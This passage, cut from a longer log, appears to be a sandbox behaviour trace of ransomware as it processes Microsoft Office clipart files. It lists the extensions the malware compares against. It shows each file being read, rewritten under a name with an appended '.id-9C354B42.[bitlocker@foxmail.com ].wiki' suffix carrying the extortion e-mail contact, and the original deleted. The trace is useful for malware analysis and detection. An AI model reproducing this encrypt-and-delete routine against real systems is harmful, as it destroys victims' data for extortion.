Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.150] lstrlenW (lpString=".dbf") returned 4 [0197.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.150] lstrlenW (lpString=".1cd") returned 4 [0197.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.150] lstrlenW (lpString=".jpg") returned 4 [0197.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.150] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.151] lstrlenW (lpString="J0152608.WMF") returned 12 [0197.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.151] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12436) returned 1 [0197.151] CloseHandle (hObject=0x220) returned 1 [0197.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0197.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.328] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.328] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0197.337] GetLastError () returned 0x0 [0197.337] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3094, lpOverlapped=0x0) returned 1 [0197.339] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x30a0, lpOverlapped=0x0) returned 1 [0197.340] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.340] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.340] SetEndOfFile (hFile=0x200) returned 1 [0197.340] CloseHandle (hObject=0x200) returned 1 [0197.340] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.340] SetEndOfFile (hFile=0x220) returned 1 [0197.341] CloseHandle (hObject=0x220) returned 1 [0197.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0197.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.342] lstrlenW (lpString=".doc") returned 4 [0197.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.342] lstrlenW (lpString=".docx") returned 5 [0197.342] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.342] lstrlenW (lpString=".pdf") returned 4 [0197.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.342] lstrlenW (lpString=".xls") returned 4 [0197.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.342] lstrlenW (lpString=".xlsx") returned 5 [0197.342] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.342] lstrlenW (lpString=".ppt") returned 4 [0197.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.342] lstrlenW (lpString=".zip") returned 4 [0197.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.342] lstrlenW (lpString=".rar") returned 4 [0197.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.342] lstrlenW (lpString=".bz2") returned 4 [0197.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.342] lstrlenW (lpString=".7z") returned 3 [0197.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.342] lstrlenW (lpString=".dbf") returned 4 [0197.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.343] lstrlenW (lpString=".1cd") returned 4 [0197.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.343] lstrlenW (lpString=".jpg") returned 4 [0197.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.343] lstrlenW (lpString=".doc") returned 4 [0197.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString=".docx") returned 5 [0197.343] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.343] lstrlenW (lpString=".pdf") returned 4 [0197.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString=".xls") returned 4 [0197.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.343] lstrlenW (lpString=".xlsx") returned 5 [0197.343] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.343] lstrlenW (lpString=".ppt") returned 4 [0197.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.343] lstrlenW (lpString=".zip") returned 4 [0197.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.343] lstrlenW (lpString=".rar") returned 4 [0197.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString=".bz2") returned 4 [0197.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.343] lstrlenW (lpString=".7z") returned 3 [0197.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.344] lstrlenW (lpString=".dbf") returned 4 [0197.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.344] lstrlenW (lpString=".1cd") returned 4 [0197.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0197.344] lstrlenW (lpString=".jpg") returned 4 [0197.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.344] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.344] lstrlenW (lpString="J0152716.WMF") returned 12 [0197.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.345] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4580) returned 1 [0197.345] CloseHandle (hObject=0x220) returned 1 [0197.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0197.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.345] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.345] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0197.345] GetLastError () returned 0x0 [0197.346] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x11e4, lpOverlapped=0x0) returned 1 [0197.347] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x11f0, lpOverlapped=0x0) returned 1 [0197.348] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.348] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.348] SetEndOfFile (hFile=0x200) returned 1 [0197.348] CloseHandle (hObject=0x200) returned 1 [0197.351] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.351] SetEndOfFile (hFile=0x220) returned 1 [0197.352] CloseHandle (hObject=0x220) returned 1 [0197.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.353] lstrlenW (lpString=".doc") returned 4 [0197.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString=".docx") returned 5 [0197.353] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.353] lstrlenW (lpString=".pdf") returned 4 [0197.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString=".xls") returned 4 [0197.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.353] lstrlenW (lpString=".xlsx") returned 5 [0197.353] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.353] lstrlenW (lpString=".ppt") returned 4 [0197.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.353] lstrlenW (lpString=".zip") returned 4 [0197.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.353] lstrlenW (lpString=".rar") returned 4 [0197.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString=".bz2") returned 4 [0197.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString=".7z") returned 3 [0197.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.353] lstrlenW (lpString=".dbf") returned 4 [0197.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.353] lstrlenW (lpString=".1cd") returned 4 [0197.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString=".jpg") returned 4 [0197.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString=".doc") returned 4 [0197.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString=".docx") returned 5 [0197.354] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.354] lstrlenW (lpString=".pdf") returned 4 [0197.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString=".xls") returned 4 [0197.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.354] lstrlenW (lpString=".xlsx") returned 5 [0197.354] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.354] lstrlenW (lpString=".ppt") returned 4 [0197.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString=".zip") returned 4 [0197.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.354] lstrlenW (lpString=".rar") returned 4 [0197.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString=".bz2") returned 4 [0197.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString=".7z") returned 3 [0197.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString=".dbf") returned 4 [0197.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.354] lstrlenW (lpString=".1cd") returned 4 [0197.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0197.355] lstrlenW (lpString=".jpg") returned 4 [0197.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.355] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.355] lstrlenW (lpString="J0152722.WMF") returned 12 [0197.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.355] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7020) returned 1 [0197.355] CloseHandle (hObject=0x220) returned 1 [0197.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0197.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.356] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.356] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0197.356] GetLastError () returned 0x0 [0197.356] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1b6c, lpOverlapped=0x0) returned 1 [0197.358] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0197.359] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.359] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.359] SetEndOfFile (hFile=0x200) returned 1 [0197.359] CloseHandle (hObject=0x200) returned 1 [0197.359] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.359] SetEndOfFile (hFile=0x220) returned 1 [0197.360] CloseHandle (hObject=0x220) returned 1 [0197.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.361] lstrlenW (lpString=".doc") returned 4 [0197.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString=".docx") returned 5 [0197.361] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.361] lstrlenW (lpString=".pdf") returned 4 [0197.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString=".xls") returned 4 [0197.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.361] lstrlenW (lpString=".xlsx") returned 5 [0197.361] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.361] lstrlenW (lpString=".ppt") returned 4 [0197.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.361] lstrlenW (lpString=".zip") returned 4 [0197.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.361] lstrlenW (lpString=".rar") returned 4 [0197.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString=".bz2") returned 4 [0197.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString=".7z") returned 3 [0197.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.361] lstrlenW (lpString=".dbf") returned 4 [0197.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.361] lstrlenW (lpString=".1cd") returned 4 [0197.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.362] lstrlenW (lpString=".jpg") returned 4 [0197.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.362] lstrlenW (lpString=".doc") returned 4 [0197.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString=".docx") returned 5 [0197.362] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.362] lstrlenW (lpString=".pdf") returned 4 [0197.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString=".xls") returned 4 [0197.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.362] lstrlenW (lpString=".xlsx") returned 5 [0197.362] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.362] lstrlenW (lpString=".ppt") returned 4 [0197.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.362] lstrlenW (lpString=".zip") returned 4 [0197.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.362] lstrlenW (lpString=".rar") returned 4 [0197.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString=".bz2") returned 4 [0197.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.362] lstrlenW (lpString=".7z") returned 3 [0197.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.362] lstrlenW (lpString=".dbf") returned 4 [0197.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.363] lstrlenW (lpString=".1cd") returned 4 [0197.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0197.363] lstrlenW (lpString=".jpg") returned 4 [0197.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.363] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.363] lstrlenW (lpString="J0152876.WMF") returned 12 [0197.363] CreateFileW 